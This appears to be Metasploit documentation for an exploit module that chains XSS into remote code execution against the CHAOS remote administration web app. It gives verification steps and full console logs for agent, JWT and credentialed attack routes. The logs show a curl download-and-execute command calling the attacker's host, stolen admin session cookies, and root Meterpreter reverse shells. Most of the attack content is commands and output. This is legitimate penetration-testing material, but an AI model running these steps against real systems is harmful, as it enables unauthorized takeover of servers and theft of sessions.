## Vulnerable Application

CHAOS v5.0.8 is a free and open-source Remote Administration Tool that
allows generated binaries to control remote operating systems. The
webapp contains a remote command execution vulnerability which
can be triggered by an authenticated user when generating a new
executable. The webapp also contains an XSS vulnerability within
the view of a returned command being executed on an agent.

Execution can happen through one of three routes:

1. Provided credentials can be used to execute the RCE directly
2. A `JWT` token from an agent can be provided to emulate a compromised
host. If a logged in user attempts to execute a command on the host
the returned value contains an xss payload.
3. Similar to technique 2, an agent executable can be provided and the
`JWT` token can be extracted.

Verified against CHAOS `7d5b20ad7e58e5b525abdcb3a12514b88e87cef2` running
in a docker container.

### Install

Docker image: `docker run -it -v ~/chaos-container:/database/ -v ~/chaos-container:/temp/ -e PORT=8080 -e SQLITE_DATABASE=chaos -p 8080:8080 tiagorlampert/chaos:latest`

To generate an agent, login (`admin`:`admin`). Click the triple lines
to expand the menu, select `Manage`, `Generate Client`. Click `Build`.

## Verification Steps

1. Install the application or run the docker image
1. Start msfconsole
1. Do: `use exploit/linux/http/chaos_rat_xss_to_rce`
1. Do: `set rhost [ip]`
1. Pick a method:
  1. `set username [username]`, `set password [password]`
  2. `set jwt [jwt token]`
  3. `set agent [path to agent]`
1. Do: `run`
1. You should get a shell. Interaction by a CHAOS admin may be required

## Options

### USERNAME

User to login with, default for CHAOS is `admin`.

### PASSWORD

Password to login with, default for CHAOS is `admin`.

### JWT

JWT token from an agent. Used to emulate a compromised
host.

### AGENT

The path to an agent executable generated by CHAOS. Used to emulate a compromised host.

## Advanced Options

### AGENT_HOSTNAME

Hostname for a fake agent. Defaults to `DC01`.

### AGENT_USERNAME

Username for a fake agent. Defaults to `Administrator`.

### AGENT_USERID

User ID for a fake agent. Defaults to `Administrator`.

### AGENT_OS

OS for a fake agent. Choices are `Windows`, or `Linux`.
Defaults to `Windows`.

## Scenarios

### Docker Image

#### Agent Method

```
[*] Processing chaos.rb for ERB directives.
resource (chaos.rb)> use exploit/linux/http/chaos_rat_xss_to_rce
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
resource (chaos.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (chaos.rb)> set FETCH_SRVPORT 9090
FETCH_SRVPORT => 9090
resource (chaos.rb)> set agent malware2.exe
agent => malware2.exe
resource (chaos.rb)> set SRVHOST 111.111.10.147
SRVHOST => 111.111.10.147
resource (chaos.rb)> set SRVPORT 8888
SRVPORT => 8888
resource (chaos.rb)> set verbose true
verbose => true
msf exploit(linux/http/chaos_rat_xss_to_rce) > exploit

[*] Command to run on remote host: curl -so ./SPSVaaJxd http://111.111.10.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./SPSVaaJxd; ./SPSVaaJxd &
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(linux/http/chaos_rat_xss_to_rce) >
[*] Fetch handler listening on 111.111.10.147:9090
[*] HTTP server started
[*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw
[*] Started reverse TCP handler on 111.111.10.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Chaos application found
[*] Attempting exploitation through Agent
[*] Server address: 172.17.0.2
[*] Server port: 8080
[*] Server JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NDQ4MDY5MzgsInVzZXIiOiJkZWZhdWx0In0.3zlOZ8RI_YdDqEgNbt20oL7R30Ry5JgwJVCEqx0WSUA
[*] Fake MAC for agent: f8:16:5a:23:5b:74
[*] Listening for XSS response on: http://111.111.10.147:8888/
[*] Performing Callback Checkin
[*] WebSocket connecting to receive commands
[*] Performing Callback Checkin
```

Log in to the website, click `Acion`, `Remote Shell` on the
fake agent we've added to the list. Now type anything into
the input box and click `Send`.

```
[+] Received agent command 'id', sending XSS in return
[*] Received GET request.
[+] Received cookie: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTMzNzA0ODksIm9yaWdfaWF0IjoxNzEzMzY2ODg5LCJ1c2VyIjoiYWRtaW4ifQ.qGbOOAc8RG6Hsd2SJKzGVAczJJ7KwEI2MxdIojM06d4
[+] Detected Agents
Live Agents
===========

 IP         OS       Username    Hostname  MAC
 --         --       --------    --------  ---
 111.111.1  Windows  Administra  DC01      86:89:42:d1:dc
 1.147               tor (Admin            :a7
                     istrator)
 111.111.1  Windows  Administra  DC01      f8:16:5a:23:5b
 1.147               tor (Admin            :74
                     istrator)

[*] Client 172.17.0.2 requested /mh1dne7HFFTZ0wiiiWgmfw
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (111.111.10.147:4444 -> 172.17.0.2:41290) at 2024-04-17 15:19:22 +0000

msf exploit(linux/http/chaos_rat_xss_to_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 11.4 (Linux 5.19.0-43-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

#### JWT Method

```
[*] Processing chaos.rb for ERB directives.
resource (chaos.rb)> use exploit/linux/http/chaos_rat_xss_to_rce
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
resource (chaos.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (chaos.rb)> set FETCH_SRVPORT 9090
FETCH_SRVPORT => 9090
resource (chaos.rb)> set jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTMzNzA0ODksIm9yaWdfaWF0IjoxNzEzMzY2ODg5LCJ1c2VyIjoiYWRtaW4ifQ.qGbOOAc8RG6Hsd2SJKzGVAczJJ7KwEI2MxdIojM06d4
jwt => eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTMzNzA0ODksIm9yaWdfaWF0IjoxNzEzMzY2ODg5LCJ1c2VyIjoiYWRtaW4ifQ.qGbOOAc8RG6Hsd2SJKzGVAczJJ7KwEI2MxdIojM06d4
resource (chaos.rb)> set SRVHOST 111.111.63.147
SRVHOST => 111.111.63.147
resource (chaos.rb)> set SRVPORT 8888
SRVPORT => 8888
resource (chaos.rb)> set verbose true
verbose => true
msf exploit(linux/http/chaos_rat_xss_to_rce) > exploit

[*] Command to run on remote host: curl -so ./HVHYAPykfOV http://111.111.63.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./HVHYAPykfOV; ./HVHYAPykfOV &
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(linux/http/chaos_rat_xss_to_rce) >
[*] Fetch handler listening on 111.111.63.147:9090
[*] HTTP server started
[*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw
[*] Started reverse TCP handler on 111.111.63.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Chaos application found
[*] Attempting exploitation through JWT token
[*] Fake MAC for agent: d9:74:62:8e:fc:43
[*] Listening for XSS response on: http://111.111.63.147:8888/
[*] Performing Callback Checkin
[*] WebSocket connecting to receive commands
```

Log in to the website, click `Acion`, `Remote Shell` on the
fake agent we've added to the list. Now type anything into
the input box and click `Send`.

```
[+] Received agent command 'whoami', sending XSS in return
[*] Received GET request.
[+] Received cookie: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTMzNzEwMTAsIm9yaWdfaWF0IjoxNzEzMzY3NDEwLCJ1c2VyIjoiYWRtaW4ifQ.K-DCy8qNaxAHVx2Hu_Z-Ff7ZEG_TWkaount8wEM0clk
[+] Detected Agents
Live Agents
===========

 IP          OS       Username     Hostname  MAC
 --          --       --------     --------  ---
 111.111.63  Windows  Administrat  DC01      d9:74:62:8e:fc
 .147                 or (Adminis            :43
                      trator)

[*] Client 172.17.0.2 requested /mh1dne7HFFTZ0wiiiWgmfw
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (111.111.63.147:4444 -> 172.17.0.2:55572) at 2024-04-17 15:32:59 +0000
```

### Credentialed Method

```
[*] Processing chaos.rb for ERB directives.
resource (chaos.rb)> use exploit/linux/http/chaos_rat_xss_to_rce
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
resource (chaos.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (chaos.rb)> set FETCH_SRVPORT 9090
FETCH_SRVPORT => 9090
resource (chaos.rb)> set username admin
username => admin
resource (chaos.rb)> set password admin
password => admin
resource (chaos.rb)> set SRVHOST 111.111.63.147
SRVHOST => 111.111.63.147
resource (chaos.rb)> set SRVPORT 8888
SRVPORT => 8888
resource (chaos.rb)> set verbose true
verbose => true
msf exploit(linux/http/chaos_rat_xss_to_rce) > exploit

[*] Command to run on remote host: curl -so ./FdfcLgdHSudl http://111.111.63.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./FdfcLgdHSudl; ./FdfcLgdHSudl &
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(linux/http/chaos_rat_xss_to_rce) >
[*] Fetch handler listening on 111.111.63.147:9090
[*] HTTP server started
[*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw
[*] Started reverse TCP handler on 111.111.63.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Chaos application found
[*] Attempting exploitation through direct login
[*] Attempting login
[*] Client 172.17.0.2 requested /mh1dne7HFFTZ0wiiiWgmfw
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (111.111.63.147:4444 -> 172.17.0.2:59770) at 2024-04-17 15:40:11 +0000

